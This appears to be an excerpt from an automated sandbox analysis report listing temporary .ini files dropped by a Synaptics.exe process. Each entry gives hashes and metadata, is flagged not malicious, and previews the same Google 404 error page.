Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="j4o5FsmKqacuf7bkzDFscg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\JG8Ceag.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.272396007355381
Encrypted:	false
SSDEEP:	24:GgsF+0ISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+f+pAZewRDK4mW
MD5:	CE2FE91947B959BA2DA92C0B0D1AA60C
SHA1:	80F66261872C77FF170DB65FBC36BC2EF6794D30
SHA-256:	4BB3C5E1E959CDB265DBBA63DA98B10FD512697C2DB932254E8CEF02196866F8
SHA-512:	7FD205607C0282C6F85A4379C5CFC58293D1629BAED7B9973E29CFA4AFEE3EE0481C48D2AD7838727F673CF6C380A09780D1C3DDDAA704057610FDC4DE32EA85
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="UumfUVtB4DWBRN615_338Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\JlfIjpG.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260706274551089
Encrypted:	false
SSDEEP:	24:GgsF+06lSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+n+pAZewRDK4mW
MD5:	4F500A387646F603152E4918B64FACA0
SHA1:	7BCDAA499FAAD7544EFF9BCD43F1FB950B626A6F
SHA-256:	F2F1960FDD924666EF10B0B88C7C5A5FA923A2897C5F534DD5C9C33310587FBC
SHA-512:	D7CDD840A51D923F7FD03AE2B50B6ED96F14D99952E8BF104C5BDB4AFD1AD5C9877881D66E8D334030EB5ACB4816588C75C9EF73FBF2E463ACF54F4903A50D70
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="B0D48ckbkfqf9dFvu8X0vA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\LH7NOhi.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2563235250555325
Encrypted:	false
SSDEEP:	24:GgsF+0j3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+8+pAZewRDK4mW
MD5:	914C65BAB03C8398EC48A814826E9D9B
SHA1:	F794A8ADF77774CF509F45816B036907DBEBC82D
SHA-256:	2A2DFAEEF9B20E4179ED9226C011C03FEA36C44CACAC2A6083D3CBDABFFCF7DD
SHA-512:	93B2787007C7F61F4B999EA4A3ABF14624CF1F6D591930F492A2F515CEAE56BB33B1C90A4A437038A1D5D8A8861058B81979FF0FB84A085873852697A84A517D
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="kf7uevlZrSLSPrhTlPhgDA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\LLExsLT.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.267920024922676
Encrypted:	false
SSDEEP:	24:GgsF+0aCCLSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+HCCL+pAZewRDK4mW
MD5:	1216763D1216E445BF7E31DC1490FC08
SHA1:	1A542A3D498BC133E09EC9A83FB005A9A12A1E9B
SHA-256:	948FCFD6FDAD1BC775CED886EBFA0FB47EEB761FBAFAF90F7C81C3C293AAA05E
SHA-512:	C28E9656659BBAF339134201A005B7846961909558500F1600E2990B2AA77C54E674AFFF9AAFD50119AA4E2A8237895A299729A35E3E4735057067B48EC02F41
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="kstYN6mOWgDcIUgCEVg3gQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\N7p7WoG.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.273632979691895
Encrypted:	false
SSDEEP:	24:GgsF+0zf+SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK++++pAZewRDK4mW
MD5:	66AF1645324D2139FA3E42EA5189A750
SHA1:	9378B20B673761FD0BADB31994BDC07470D4B75F
SHA-256:	DBDDBC6FB1A8031CB1AE1227EFA89AA7160DB24C6C41B2D7D4D75C90AAB033B6
SHA-512:	B37EDFB91DB986DDFE28CCD0237ACE9BAD6DD0639AF029094F5466CB06285FEF6B88F67FE22E0E3795D61BA0EE3338E4FD11DE854C7AEC6556EF10578C459C8C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="0BWv26_f1AF2vp88OKHRzA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\NCwRqdm.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.266085259215339
Encrypted:	false
SSDEEP:	24:GgsF+0TSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+8+pAZewRDK4mW
MD5:	2C5D1315CE52E3D4CFAF2F7A3A8BA4F8
SHA1:	52120EC2F2B737C9F15C139903D5C088DD13FB34
SHA-256:	690AF4711FB834C705884C65C72754BF90D08405EDB34616418DADC62BF46316
SHA-512:	5AB0872C514613B50D747A6A88E8384E01A0132CB6BC617933491D9F753EC2704A7806025D558907062EAB70F2FD3E24E667C1DD2E01EA9ABEE6854A80CBA18E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="lZeN0-ojMUH_7f67vkLTHA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\OSQa7vm.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.266834922275374
Encrypted:	false
SSDEEP:	24:GgsF+0QSVSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+6+pAZewRDK4mW
MD5:	2FEFC61629652539C0D0AF716B9CF4EA
SHA1:	F23A4709881AA50A98C19976089D67D42BD2485B
SHA-256:	38F74E72DC07CEC52FD777A5C2A8E5A90706CF632327362143DFB8CD6CC3EE1B
SHA-512:	E36F6180A13EC4C72F730BA0E3570A711912884F18DE1E3A5D9E4E0E4AE80EB43DF20FEF62B760557842B272B8CFD4A1A72AEF4E42B9C4B6C467FAF292F268FA
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="KGZ5_GdED7WZNGQm7Sohww">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\PGz7MEU.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265538260509161
Encrypted:	false
SSDEEP:	24:GgsF+0wyqISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+UqI+pAZewRDK4mW
MD5:	1BA0B5B2821531DF5764A3A902A5E417
SHA1:	B464F422519174C29F2C7CC8E1B80A6AA80D31BE
SHA-256:	080497CC8312D6FA1A7E61FD30AA2C804B5C8F3151D18186D9B4A98AF6BDCB30
SHA-512:	B34122354CF1203F40FD871EF42CB9580D618E3BE626EDE307045045DE4B05D9FE5372B0F3D7E9993B3D9443343DA11D3F09D81F46BD6712F0D9CAF0E500800D
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="RHBLqYd95cu6Wc9Yb1vrpQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\UjdiZ6C.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.268054570369398
Encrypted:	false
SSDEEP:	24:GgsF+0qSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+R+pAZewRDK4mW
MD5:	1D9BD27AD7E827D163DCE4169A823F63
SHA1:	160FF2B465F13855FA85CD4A3EDA34059874B4FB
SHA-256:	96FCAE4E11A551F3E5879706F500ED1A9845273C9BC01AD8D4F51F70EBC7AC3D
SHA-512:	3DE042248F3E9F72AE906D3810E6F2880BACCD0C6F467E65BC4D2BA0C0CF88A2D6540A93D87512229F9455ED3CDBD06E344F08D0E30C44FE0DBADBB6BF5D3B44
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="2hZ0lHVEj0LIiA4ujtXKXw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ZMo5ZNz.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.26813401761761
Encrypted:	false
SSDEEP:	24:GgsF+0oSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+D+pAZewRDK4mW
MD5:	02A69946707FAE48F146FE49F5637727
SHA1:	A2658CC1D6E4921A1A6E634F27C260F94A4F4D12
SHA-256:	4C62D9138C14725A0D86810856C7353B4A08F9007B518BBEF85E8BB62D70C80D
SHA-512:	1CD9D535CB8AC0F7B3CC9BBE021A68B7EAEE72C3C191F473D5F706F781D50515D4B3CED5915FCEB8F5530D382C3CA13EC8ACAA1C45B1530938ED90D1F38BBC68
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="pjVdonBFOvvWIfXNSs0zRw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ZntNwHe.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.25756686771199
Encrypted:	false
SSDEEP:	24:GgsF+0hXDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+CD+pAZewRDK4mW
MD5:	D00D4516A742ACCEE2222B342E8597D5
SHA1:	B7FE586DE4CEE619BDF64FA1A13E4BAFC888825C
SHA-256:	80757AA9E49520B237E640990D4554F3A0207A9A392014E22DAAC241B0A13C1D
SHA-512:	275819BAF723F2C5E9290BFCA6BAD89C40F00E88417B28B669918B004CA7D30479E4D706B64669BF40CC5B672C1385D3A526CF47CE669B3394213BB1860A770D
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Cj2CC1fij_HiOa5vIhmRwg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\aBjk8wF.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.268033338762914
Encrypted:	false
SSDEEP:	24:GgsF+0NCGDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+yv+pAZewRDK4mW
MD5:	D2BDBC75A2621F233A210F095B01F065
SHA1:	62F98A781CF3896A3E88301159EE96E17B1C348D
SHA-256:	EC419FBE89E10119E5ABA860195E69E22987782D270ACF892C7A342EEED9F94F
SHA-512:	AD8E46E6A61A3590613490662230FFB680038E38D6DE88B1B55C9BA3A434490658DF49E06C757C9D15FF5EAC6B8D113DD625981C0F2DC19FB268A112171EE2EA
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="BfoNOj-5pWMZoAGtXlfvTQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\aeG5YCm.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261399909189488
Encrypted:	false
SSDEEP:	24:GgsF+0ozbSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Fzb+pAZewRDK4mW
MD5:	966E8BBD5FA95C70D6E87AA61FD4E5FF
SHA1:	A0B162EDD9D44C2234563A842F5F23EFE4AA720A
SHA-256:	1F351EC4072D893C2519CC49BAB448DA86082E57D89039B87CF207CC8CB51BC3
SHA-512:	A16B1E564262C219FBE8831C42D13A5402B2EABD4E22176865909BE5B80A06965138582F87DE2829677F871C6A7AC73D582A73C8BDEAE65475285FB83E1BFDB8
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="WHo-GXWmIfRbFyJ7uhsdQg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\eE3C1WT.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.257809012294484
Encrypted:	false
SSDEEP:	24:GgsF+0nT/3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+c/3+pAZewRDK4mW
MD5:	A3EE7D20F2893E2C60E72F593DE61293
SHA1:	B8416A0024D394AB2135CA4CEB4386110043C778
SHA-256:	2DF5E3509CFB09AECD473B052125DCF9FA3F9AA8CC052C03D4FEA7281CE4864C
SHA-512:	AC666C675264F5ED73A7948F32569F2E5B64819FBD2AB331EB52B0F54F639D15F96EF89FA720F6E11F2517628450858027400CF04B41399EEB58887ACCE11290
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Skhq5cDyrpmWXJnBvNqtxg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ea9Z5ec.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265900613264643
Encrypted:	false
SSDEEP:	24:GgsF+0LSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+s+pAZewRDK4mW
MD5:	EC29E612CA14EC1088028ABC8E2261F1
SHA1:	45E100F8CE348EDAA9827AC3178303704D4088BA
SHA-256:	55BF360D6396776575EDE6C009F64027677A2A28CBC8FE88A1A80ECD9F658D82
SHA-512:	D36720951B330AEBA38ED6D2BC58E296DC425327D7B28810351E3266CDEC96E3DC94952BB98517A562185E91DB6D4ED623F703270BEE59A663D7387231EC9E67
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Y2npUMQoOFwo8WyVH2HezQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ico6cfK.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.263463696779379
Encrypted:	false
SSDEEP:	24:GgsF+0aSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+V+pAZewRDK4mW
MD5:	968EDD35FE21A80F9D13F72AC7813779
SHA1:	3A67DD8961A7E81A11289F8D1CA119E215E2226E
SHA-256:	B771A7619ED6DF01A8677FBDFBB373D157D57EA0DE04EFD70244694FFA25ECED
SHA-512:	78D53AB0D4B60DFD44CF0C0E7E049D82B210F3997B131C89C4BD2DDB80BC826950B1ABF3AF0BC661F1B3FA1D8BFE544ED9FA141B56C5FACAF6A86152508FFF0A
Malicious:	false
